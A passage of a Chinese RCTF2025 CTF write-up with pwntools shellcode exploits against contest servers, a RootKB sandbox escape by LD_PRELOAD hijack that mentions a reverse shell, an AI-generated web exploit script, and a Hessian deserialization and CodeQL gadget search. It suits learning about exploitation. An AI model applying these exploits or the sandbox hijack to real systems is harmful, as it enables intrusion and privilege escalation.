文章总结： 本文是RCTF2025Writeup，涵盖PWN、WEB、MISC、CRYPTO及逆向方向。PWN题利用浮点数与Shellcode注入；WEB题涉及沙箱LD_PRELOAD劫持及Hessian反序列化；MISC包含OSINT检索、音频隐写与C2流量解密；CRYPTO考察格密码有理重构与配对加密攻击；逆向解析反调试下的RC4解密。文章提供了详细思路与利用代码。
综合评分： 93
文章分类： CTF,二进制安全,WEB安全,逆向分析,漏洞POC

RCTF2025-WP

原创

@星盟安全团队

星盟安全

2025年11月28日 16:56
陕西

本次 RCTF2025，我们 XMCVE-Polaris 战队排名第 16 。

| 排名 | 队伍 | 总分 |
| — | — | — |
| 11 | N0wayBack | 6367.56 |
| 12 | JNSEC | 6157.14 |
| 13 | Ph0t1n1a | 5475.99 |
| 14 | W&M | 5064.03 |
| 15 | _0xFFF_ | 5052 |
| 16 | XMCVE-Polaris | 5010.05 |
| 17 | Nepnep | 4589 |
| 18 | 有点调皮 | 4582.09 |
| 19 | V&N | 4556 |
| 20 | だから僕はCTFを辞めた | 4467.45 |

PWN

only

程序主要漏洞在 gift 函数内，但是我们如果想要进入 gift 函数，需要使我们输入的浮点数在内存中的 8 字节二进制表示，与 0xD0E0A0D0B0E0E0F 完全相等。

这里我们可以使用 python 的 struct 模块来反向计算这个 double 值。

在 gift 函数的选项一内，程序开辟了一个可读可写可执行的内存空间，并且在该内存空间的起始部分注入一些数据，经过调试发现，该数据的主要作用其实是对寄存器进行清空操作，清空了除去 RBP 和 RSP 之外的其他寄存器，程序还给我们提供了 10 字节的有限输入空间，但由于输入字节数有限，我们无法对目标 shellcode 进行直接构造，所以我们需要想办法拼凑出 read 函数的系统调用，来实现 shellcode 续写。

pop 指令的字节开销很小，对常见寄存器的操作只需要一个字节，我们可以利用 pop 指令，将栈上的数据弹出到目标寄存器，刚好栈上也存储着我们可读可写可执行空间的地址，由于程序在空间内起始部分清空了寄存器，所以我们只需要控制好 rsi 、rdx 两个寄存器的值即可，成功调用 read 函数之后，因为我们构造的 read 函数的写入位置是在可读可写可执行的空间起始处，所以我们需要计算好输入位置到执行下一条指令的偏移，然后覆盖，注入新的 shellcode 即可。

Exp

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linefrom&nbsp;pwn&nbsp;import*from&nbsp;struct&nbsp;import*
#p = process('./pwn')p = remote('101.245.98.115',26100)
context(arch='amd64',log_level='debug',os='linux')
p.recvuntil("3.exit\n")p.sendline("2")p.recvuntil("input:\n")
packed_bytes = struct.pack('<Q',&nbsp;0x0D0E0A0D0B0E0E0F)the_double = struct.unpack('<d', packed_bytes)[0]p.sendline(str(the_double))
p.sendlineafter('Make a choice:',"1")p.recvuntil("your code:")
shellcode =&nbsp;"""pop rdxpop rdxpop rdxpop rsipop rsipop rsisyscall"""shellcode = asm(shellcode)p.send(shellcode)
shellcode = asm("""push 0x67616c66mov rdi,rspxor esi,esipush 2pop raxsyscallmov rdi,raxmov rsi,rspmov edx,0x100xor eax,eaxsyscallmov edi,1mov rsi,rsppush 1pop raxsyscall""")payload =&nbsp;b'a'*0x32&nbsp; + shellcodep.send(payload)
p.interactive()

only_rev

rev版本将用户可以输入的字数从10字节减少到9字节，而且根据调试下来发现，在执行rwx区域代码时，该版本有多了对栈的操作

ounter(lineounter(lineounter(lineounter(lineounter(lineadd&nbsp;rsp,0x12345678add&nbsp;rbp,0x12345678// shellcodesub rsp,0x12345678sub rbp,0x12345678

此时的栈根本没有映射，没有办法执行对栈进行操作的指令push\pop\call

在山海关大神的博客中找到这么一个解决办法https://www.cnblogs.com/LynneHuan/p/17822153.html

当寄存器全0时，只需要执行一次syscall，就会把返回地址rip赋值给rcx寄存器，rcx寄存器就会有rwx地址，然后再mov rsi,rcx;mov dl,0xff;syscall，就会reread

所以九字节的构造如下

ounter(lineounter(lineounter(lineounter(linesyscall&nbsp; &nbsp;//0f&nbsp;05mov&nbsp;rsi, rcx &nbsp;//48&nbsp;89&nbsp;cemov&nbsp;dl,&nbsp;0xff //b2 ffsyscall&nbsp; //0f&nbsp;05

展示结果如下

syscall执行之前

syscall执行之后

reread执行这一步需要调试观察最后rsi/rcx的值，首先要保证orw需要位于第二个syscall的下方。

之后就是构造orw的shellcode，这里还要注意之前提到的此时栈结构，所以就先把栈还原回去，然后执行orw（其实后面的汇编是在编写时vscode copilot自动生成的）

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linesub&nbsp;rbp,0x12345678sub&nbsp;rsp,0x12345678push&nbsp;0x67616c66mov&nbsp;rdi,rspxor&nbsp;rsi,rsimov&nbsp;rax,2syscallmov&nbsp;rdi,raxmov&nbsp;rsi,rspmov&nbsp;rdx,0x50xor&nbsp;rax,raxsyscallmov&nbsp;rdi,1mov&nbsp;rsi,rspmov&nbsp;rdx,0x50mov&nbsp;rax,1syscall

最后是exp

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line#!/usr/bin/env python3# -*- coding: utf-8 -*-#&nbsp;@file: exp.py#&nbsp;@author: fuchen#&nbsp;@contact: MTM3MjIwMzYwQHFxLmNvbQ==#&nbsp;@created: 2025-11-15#&nbsp;@description: Pwn exploit template for CTF challenges
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
LOCAL&nbsp;=&nbsp;TrueBINARY&nbsp;=&nbsp;"./chal"LIBC&nbsp;=&nbsp;"./libc.so.6"
HOST&nbsp;=&nbsp;"1.95.164.64"PORT&nbsp;=&nbsp;26000
def&nbsp;setup():&nbsp; &nbsp;&nbsp;if&nbsp;LOCAL:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;process(BINARY)&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;remote(HOST,&nbsp;PORT)
s &nbsp; &nbsp; &nbsp; =&nbsp;lambda&nbsp;data &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;:p.send(data)sa &nbsp; &nbsp; &nbsp;=&nbsp;lambda&nbsp;delim,data &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;:p.sendafter(delim, data)sl &nbsp; &nbsp; &nbsp;=&nbsp;lambda&nbsp;data &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;:p.sendline(data)sla &nbsp; &nbsp; =&nbsp;lambda&nbsp;delim,data &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;:p.sendlineafter(delim, data)r &nbsp; &nbsp; &nbsp; =&nbsp;lambda&nbsp;num=4096&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;:p.recv(num)ru &nbsp; &nbsp; &nbsp;=&nbsp;lambda&nbsp;delims, drop=False&nbsp;&nbsp;:p.recvuntil(delims, drop)rl &nbsp; &nbsp; &nbsp;=&nbsp;lambda&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;:p.recvline()itr &nbsp; &nbsp; =&nbsp;lambda&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;:p.interactive()uu32 &nbsp; &nbsp;=&nbsp;lambda&nbsp;data &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;:u32(data.ljust(4, b'\0'))uu64 &nbsp; &nbsp;=&nbsp;lambda&nbsp;data &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;:u64(data.ljust(8, b'\0'))uu16 &nbsp; &nbsp;=&nbsp;lambda&nbsp;data &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;:u16(data.ljust(2, b'\0'))uu8 &nbsp; &nbsp; =&nbsp;lambda&nbsp;data &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;:u8(data)leak &nbsp; &nbsp;=&nbsp;lambda&nbsp;name,addr &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;:log.success(f"{name} = {hex(addr)}")dbg &nbsp; &nbsp; =&nbsp;lambda&nbsp;cmd=''&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;:gdb.attach(p, cmd)def&nbsp;notes():&nbsp; &nbsp; sla(b"3.exit\n",b"1")def&nbsp;add(size):&nbsp; &nbsp; sla(b"5.back\n",b"1")&nbsp; &nbsp; sla(b"size:",str(size).encode())def&nbsp;delete():&nbsp; &nbsp; sla(b"5.back\n",b"2")def&nbsp;save(filename):&nbsp; &nbsp; sla(b"5.back\n",b"3")&nbsp; &nbsp; sl(b"filename: ",filename)def&nbsp;edit():&nbsp; &nbsp; sla(b"5.back\n",b"4")def&nbsp;back():&nbsp; &nbsp; sla(b"5.back\n",b"4")def&nbsp;bookkeeping():&nbsp; &nbsp; sla(b"3.exit\n",b"2")&nbsp; &nbsp; sla(b"input:\n",str(8.592564544313935e-246).encode())def&nbsp;runcode(content):&nbsp; &nbsp; sla(b"Make a choice:",b"1")&nbsp; &nbsp; sa(b"your code:",content)def&nbsp;getcanary():&nbsp; &nbsp; sla(b"Make a choice:",b"2")def&nbsp;exploit():&nbsp; &nbsp; global p&nbsp; &nbsp; p = setup()
&nbsp; &nbsp; elf =&nbsp;ELF(BINARY)&nbsp; &nbsp; libc =&nbsp;ELF(LIBC)&nbsp;if&nbsp;LIBC&nbsp;else&nbsp;None&nbsp; &nbsp;&nbsp;#dbg('b *$rebase(0x1a79)')&nbsp; &nbsp;&nbsp;#pause()&nbsp; &nbsp; bookkeeping()&nbsp; &nbsp; payload = b"\x0f\x05\x48\x89\xce\xb2\xff\x0f\x05"&nbsp; &nbsp; runcode(payload)&nbsp; &nbsp; orw =&nbsp;'''&nbsp; &nbsp; sub rbp,0x12345678&nbsp; &nbsp; sub rsp,0x12345678&nbsp; &nbsp; push 0x67616c66&nbsp; &nbsp; mov rdi,rsp&nbsp; &nbsp; xor rsi,rsi&nbsp; &nbsp; mov rax,2&nbsp; &nbsp; syscall&nbsp; &nbsp; mov rdi,rax&nbsp; &nbsp; mov rsi,rsp&nbsp; &nbsp; mov rdx,0x50&nbsp; &nbsp; xor rax,rax&nbsp; &nbsp; syscall&nbsp; &nbsp; mov rdi,1&nbsp; &nbsp; mov rsi,rsp&nbsp; &nbsp; mov rdx,0x50&nbsp; &nbsp; mov rax,1&nbsp; &nbsp; syscall&nbsp; &nbsp; '''&nbsp; &nbsp; shellcode = b"\x48\x89\xce\xb2\xff\x0f\x05"&nbsp;+ asm(orw)&nbsp; &nbsp; sleep(1)&nbsp; &nbsp; sl(shellcode)&nbsp; &nbsp;&nbsp;#pause()
&nbsp; &nbsp; itr()
if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; exploit()&nbsp; &nbsp; except&nbsp;Exception&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp; log.error(f"Exploit failed: {e}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;'p'&nbsp;in&nbsp;globals():&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.close()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise

WEB

RootKB

首先本地开个环境，发现在/admin/tool处存在python代码执行，但是在沙箱环境下

调试启动之后成功执行返回2

沙箱环境下的限制是没有/bin/sh，以及一些黑名单，如system,exec,eval等等，且需要提权才可以读取/root/flag

目前可以做到列目录os.listdir("/")，但是可读写只能在沙盒目录下/opt/maxkb-app/sandbox

我们发现这个目录下有一个sandbox.so文件

我们审计源码，尤其是2.3.0->2.3.1变化的部分，新增了一处

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line@@ -188,6&nbsp;+194,9&nbsp;@@ exec({dedent(code)!a})&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;self.user,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'cwd':&nbsp;self.sandbox_path,+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'env': {+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'LD_PRELOAD':&nbsp;f'{self.sandbox_path}/sandbox.so',+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;},&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'transport':&nbsp;'stdio',&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else:@@ -204,6&nbsp;+213,9&nbsp;@@ exec({dedent(code)!a})&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;file.write(_code)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;os.system(f"chown&nbsp;{self.user}:root&nbsp;{exec_python_file}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;kwargs = {'cwd': BASE_DIR}+ &nbsp; &nbsp; &nbsp; &nbsp;kwargs['env'] = {+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'LD_PRELOAD':&nbsp;f'{self.sandbox_path}/sandbox.so',+ &nbsp; &nbsp; &nbsp; &nbsp;}&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;subprocess_result = subprocess.run(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;['su',&nbsp;'-s', python_directory,&nbsp;'-c',&nbsp;"exec(open('"&nbsp;+ exec_python_file +&nbsp;"').read())",&nbsp;self.user],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;text=True,

可以看到，假使我们可以覆盖sandbox.so，就可以打LD_PRELOAD劫持，且是高权限了

至于反弹shell的.so文件的编译生成，这里就不提了

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linedef&nbsp;payload():&nbsp; &nbsp;&nbsp;import&nbsp;base64&nbsp; &nbsp;&nbsp;import&nbsp;os&nbsp; &nbsp; malicious_so_b64="xxxx"&nbsp; &nbsp; malicious_data = base64.b64decode(malicious_so_b64)&nbsp; &nbsp;&nbsp;with&nbsp;open("/opt/maxkb-app/sandbox/sandbox.so",&nbsp;"wb")&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; f.write(malicious_data) &nbsp;&nbsp; &nbsp;&nbsp;return&nbsp;"sandbox.so replaced successfully"

成功替换之后os.popen("")即可触发反弹shell

cat /root/flag即可

photographer

看到别人上线20分钟秒了就觉得ai能出了，用trae的gpt5-high直接就问出来了

然后就让AI搓一个exp就行了

这道题目的exp如下

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line# path: exploit.pyimport&nbsp;sys, re, uuid, base64, io, requests
def&nbsp;get(url, s):&nbsp; &nbsp; r = s.get(url, allow_redirects=True)&nbsp; &nbsp; r.raise_for_status()&nbsp; &nbsp;&nbsp;return&nbsp;r.text
def&nbsp;post(url, s, data=None, files=None):&nbsp; &nbsp; r = s.post(url, data=data, files=files)&nbsp; &nbsp; r.raise_for_status()&nbsp; &nbsp;&nbsp;return&nbsp;r
def&nbsp;b64png():&nbsp; &nbsp;&nbsp;return&nbsp;base64.b64decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
def&nbsp;extract_csrf_from_register(html):&nbsp; &nbsp; m = re.search(r'name="csrf_token"\s+value="([^"]+)"', html)&nbsp; &nbsp;&nbsp;return&nbsp;m.group(1)
def&nbsp;extract_csrf_from_settings(html):&nbsp; &nbsp; m = re.search(r"const csrfToken = '([^']+)'", html)&nbsp; &nbsp;&nbsp;return&nbsp;m.group(1)
def&nbsp;register(base, s):&nbsp; &nbsp; html = get(base +&nbsp;'/register', s)&nbsp; &nbsp; token = extract_csrf_from_register(html)&nbsp; &nbsp; email =&nbsp;f'{uuid.uuid4().hex[:8]}@example.com'&nbsp; &nbsp; data = {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'username':&nbsp;'user'&nbsp;+ uuid.uuid4().hex[:6],&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'email': email,&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'password':&nbsp;'Passw0rd!',&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'confirm_password':&nbsp;'Passw0rd!',&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'csrf_token': token&nbsp; &nbsp; }&nbsp; &nbsp; r = post(base +&nbsp;'/api/register', s, data=data)&nbsp; &nbsp; j = r.json()&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;j.get('success'):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError('register failed: '&nbsp;+&nbsp;str(j))&nbsp; &nbsp;&nbsp;return&nbsp;email
def&nbsp;upload_photo(base, s):&nbsp; &nbsp; png = b64png()&nbsp; &nbsp; f = io.BytesIO(png)&nbsp; &nbsp; files = [('photos[]', ('x.png', f,&nbsp;'-1'))]&nbsp; &nbsp; r = post(base +&nbsp;'/api/photos/upload', s, files=files)&nbsp; &nbsp; j = r.json()&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;j.get('success')&nbsp;or&nbsp;not&nbsp;j.get('photos'):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError('upload failed: '&nbsp;+&nbsp;str(j))&nbsp; &nbsp;&nbsp;return&nbsp;j['photos'][0]['id']
def&nbsp;set_background(base, s, photo_id):&nbsp; &nbsp; html = get(base +&nbsp;'/settings', s)&nbsp; &nbsp; token = extract_csrf_from_settings(html)&nbsp; &nbsp; data = {'photo_id': photo_id,&nbsp;'csrf_token': token}&nbsp; &nbsp; r = post(base +&nbsp;'/api/user/background', s, data=data)&nbsp; &nbsp; j = r.json()&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;j.get('success'):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError('set background failed: '&nbsp;+&nbsp;str(j))
def&nbsp;get_flag(base, s):&nbsp; &nbsp; r = s.get(base +&nbsp;'/superadmin.php')&nbsp; &nbsp;&nbsp;if&nbsp;r.status_code ==&nbsp;200:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;r.text.strip()&nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError('flag fetch failed, status: '&nbsp;+&nbsp;str(r.status_code))
def&nbsp;main():&nbsp; &nbsp; base = sys.argv[1]&nbsp;if&nbsp;len(sys.argv) >&nbsp;1&nbsp;else&nbsp;'http://1.95.160.41:26000/'&nbsp; &nbsp; s = requests.Session()&nbsp; &nbsp; register(base, s)&nbsp; &nbsp; pid = upload_photo(base, s)&nbsp; &nbsp; set_background(base, s, pid)&nbsp; &nbsp; flag = get_flag(base, s)&nbsp; &nbsp;&nbsp;print(flag)
if&nbsp;__name__ ==&nbsp;'__main__':&nbsp; &nbsp; main()

maybe_easy

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
package&nbsp;com.rctf.server.controller;
import&nbsp;com.rctf.server.tool.HessianFactory;import&nbsp;org.springframework.stereotype.Controller;import&nbsp;org.springframework.web.bind.annotation.RequestMapping;import&nbsp;org.springframework.web.bind.annotation.RequestParam;
@Controllerpublic&nbsp;class&nbsp;RCTFController&nbsp;{&nbsp; &nbsp;&nbsp;@RequestMapping({"/hello"})&nbsp; &nbsp;&nbsp;public&nbsp;String hello(@RequestParam(name =&nbsp;"data",required = false)&nbsp;String&nbsp;data) throws Exception {&nbsp; &nbsp; &nbsp; &nbsp; Object obj = HessianFactory.deserialize(data);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;"hello";&nbsp; &nbsp; }}

一个简单的hessian反序列化

发现调用了自己实现的HessianFactory

发现使用了白名单

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line&nbsp; &nbsp;&nbsp;static&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; WHITE_PACKAGES.add("com.rctf.server.tool.");&nbsp; &nbsp; &nbsp; &nbsp; WHITE_PACKAGES.add("java.util.");&nbsp; &nbsp; &nbsp; &nbsp; WHITE_PACKAGES.add("org.apache.commons.logging.");&nbsp; &nbsp; &nbsp; &nbsp; WHITE_PACKAGES.add("org.springframework.beans.");&nbsp; &nbsp; &nbsp; &nbsp; WHITE_PACKAGES.add("org.springframework.jndi.");&nbsp; &nbsp; }

发现出题人自定义的一个类

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
package com.rctf.server.tool;
import&nbsp;java.io.Serializable;import&nbsp;java.lang.reflect.InvocationHandler;import&nbsp;java.lang.reflect.Method;import&nbsp;java.lang.reflect.Proxy;
public&nbsp;class&nbsp;Maybe&nbsp;extends&nbsp;Proxy&nbsp;implements&nbsp;Comparable<Object>,&nbsp;Serializable&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;Maybe(InvocationHandler&nbsp;h) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;super(h);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;int&nbsp;compareTo(Object&nbsp;o) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Method&nbsp;method =&nbsp;Comparable.class.getMethod("compareTo",&nbsp;Object.class);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;result =&nbsp;this.h.invoke(this, method,&nbsp;new&nbsp;Object[]{o});&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(Integer)result;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Throwable&nbsp;e) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;RuntimeException(e);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}

这个类是可以被treemap进行触发compareTo触发其他类的动态代理的

使用n1ght_codeql搭建数据库

编写查询语句

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line/**&nbsp;*&nbsp;@name&nbsp;Empty block&nbsp;*&nbsp;@kind&nbsp;problem&nbsp;*&nbsp;@problem.severity warning&nbsp;*&nbsp;@id&nbsp;java/example/empty-block&nbsp;*/
import&nbsp;javaimport&nbsp;libs.Sourceimport&nbsp;libs.DangerousMethods
class&nbsp;InvokerHandler&nbsp;extends&nbsp;Class&nbsp;{&nbsp; InvokerHandler() {&nbsp; &nbsp;&nbsp;this.getASupertype*().getQualifiedName() =&nbsp;"java.lang.reflect.InvocationHandler"&nbsp;and&nbsp; &nbsp; (&nbsp; &nbsp; &nbsp;&nbsp;this.getQualifiedName().regexpMatch("java.util.+") or&nbsp; &nbsp; &nbsp;&nbsp;this.getQualifiedName().regexpMatch("org.apache.commons.logging.+") or&nbsp; &nbsp; &nbsp;&nbsp;this.getQualifiedName().regexpMatch("org.springframework.beans.+") or&nbsp; &nbsp; &nbsp;&nbsp;this.getQualifiedName().regexpMatch("org.springframework.jndi.+")&nbsp; &nbsp; )&nbsp; }}
class&nbsp;HessianObjectFactory&nbsp;extends&nbsp;Method&nbsp;{&nbsp; HessianObjectFactory() {&nbsp; &nbsp;&nbsp;// this.getASupertype*().getQualifiedName() = "org.springframework.beans.factory.ObjectFactory"&nbsp; &nbsp;&nbsp;this.getName() =&nbsp;"getObject"&nbsp;and&nbsp; &nbsp;&nbsp;this.hasNoParameters() and&nbsp; &nbsp; (&nbsp; &nbsp; &nbsp;&nbsp;this.getQualifiedName().regexpMatch("java.util.+") or&nbsp; &nbsp; &nbsp;&nbsp;this.getQualifiedName().regexpMatch("org.apache.commons.logging.+") or&nbsp; &nbsp; &nbsp;&nbsp;this.getQualifiedName().regexpMatch("org.springframework.beans.+") or&nbsp; &nbsp; &nbsp;&nbsp;this.getQualifiedName().regexpMatch("org.springframework.jndi.+")&nbsp; &nbsp; )&nbsp; }}
// from HessianObjectFactory i, DangerousMethod m// where i.calls(m)// select ifrom DangerousMethod mselect m, m.getName()

发现了

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line&nbsp; &nbsp;&nbsp;private&nbsp;static&nbsp;class&nbsp;ObjectFactoryDelegatingInvocationHandler&nbsp;implements&nbsp;InvocationHandler,&nbsp;Serializable&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;private&nbsp;final ObjectFactory<?> objectFactory;
&nbsp; &nbsp; &nbsp; &nbsp; ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.objectFactory = objectFactory;&nbsp; &nbsp; &nbsp; &nbsp; }
